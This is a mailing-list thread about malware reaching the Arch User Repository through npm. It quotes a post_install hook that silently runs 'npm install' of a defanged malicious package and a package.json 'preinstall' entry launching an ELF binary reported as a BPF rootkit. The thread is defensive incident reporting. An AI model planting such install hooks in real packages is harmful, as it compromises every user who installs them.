npmjs.com and preinstall ELF executables
Marc Ohm
ohm at cs.uni-bonn.de
Thu Jun 11 15:24:39 UTC 2026
Hey,
using install scripts to execute malicious behavior is indeed very common.
Same situation with the setup.py in Python.
For npm, there is a flag that disables the execution of scripts.
Since npm v12 (estimated release July 2026), scripts are disabled by
default.
> allowScripts defaults to off: npm install will no longer execute preinstall, install, or postinstall scripts from dependencies unless they are explicitly allowed in your project.
--
https://github.blog/changelog/2026-06-09-upcoming-breaking-changes-for-npm-v12
Best,
Marc
On 11.06.26 17:07, kpcyrd wrote:
> Hello!
>
> We currently struggle with waves of malware uploads to
> aur.archlinux.org, interestingly every incident I looked at used
> npmjs.com for malware delivery.
>
> The pattern is:
>
> The PKGBUILD (the file that specifies build inputs by cryptographic
> checksums, as well as build instructions and package metadata) gets an
> install hook added like this:
>
> install=gnome-randr-rust-deps.install
>
> This is similiar to configure scripts in Debian, but they are more rare
> in the Arch/pacman ecosystem, often a package is just extracted into the
> filesystem. The file had the following content (this time it also
> included one legitimate npm package as decoy):
>
> ```
> post_install() {{
> cd /tmp
> npm install REDACTED yargs
> }}
> ```
>
> The REDACTED package in this case was `atomic-lockfile` (splitting this
> up to defang, in case somebody accidentally executes the lines above).
>
> The npm package has a single version published "a day ago". The
> package.json has the following section:
>
> ```
> "scripts": {
> "build": "tsc -p tsconfig.build.json",
> "build:esm": "tsc -p tsconfig.esm.json",
> "build:cjs": "tsc -p tsconfig.cjs.json",
> "build:types": "tsc -p tsconfig.types.json",
> "dev": "tsc -p tsconfig.build.json --watch",
> "test": "node --experimental-vm-modules node_modules/.bin/jest",
> "test:unit": "jest --testPathPattern=unit",
> "test:integration": "jest --testPathPattern=integration",
> "test:coverage": "jest --coverage",
> "lint": "eslint src/**/*.ts",
> "lint:fix": "eslint src/**/*.ts --fix",
> "format": "prettier --write src/**/*.ts",
> "format:check": "prettier --check src/**/*.ts",
> "typecheck": "tsc --noEmit",
> "clean": "rm -rf dist",
> "prepublishOnly": "npm run clean && npm run build",
> "docs": "typedoc --out docs src/index.ts",
> "docs:serve": "serve docs",
> "benchmark": "node benchmarks/index.js",
> "changelog": "conventional-changelog -p angular -i CHANGELOG.md -s",
> "preinstall": "./src/hooks/deps",
> "release": "npm run changelog && npm run build && npm publish"
> },
> ```
>
> The important part here is "preinstall" because npm automatically
> executes this.
>
> The ./src/hooks/deps file is an ELF executable. I gave a sample of a
> previous incident to a friend at DFN-CERT and he concluded it's a BPF
> rootkit.
>
> ---
>
> I decided to write this up to document that the package.json
> "preinstall" feature is very actively abused in this way to turn npm
> into a malware stager in a non-obvious way, and I'm wondering if it's
> really necessary to allow preinstall hooks to be ELF executables,
> instead of outright rejecting uploads like this.
>
> https://lists.archlinux.org/archives/list/aur-
> general at lists.archlinux.org/thread/L2JXQNYBGWOQQQXDEPEAICBHKFEFANUC/
>
> cheers,
> kpcyrd
--
--------------------------------------------------------------------
Dr. Marc Ohm | Tel. : +49 228 73-60531
Computer Science 4 | Email : ohm at cs.uni-bonn.de
University of Bonn | Web : https://net.cs.uni-bonn.de
Friedrich-Hirzebruch-Allee 8 | Office: I.018
53115 Bonn, Germany | PGP ID: 0x9156D1B6
-------------- next part --------------
A non-text attachment was scrubbed...
Name: OpenPGP_signature.asc
Type: application/pgp-signature
Size: 840 bytes
Desc: OpenPGP digital signature
URL: <http://lists.reproducible-builds.org/pipermail/rb-general/attachments/20260611/f166e6a0/attachment.sig>
More information about the rb-general
mailing list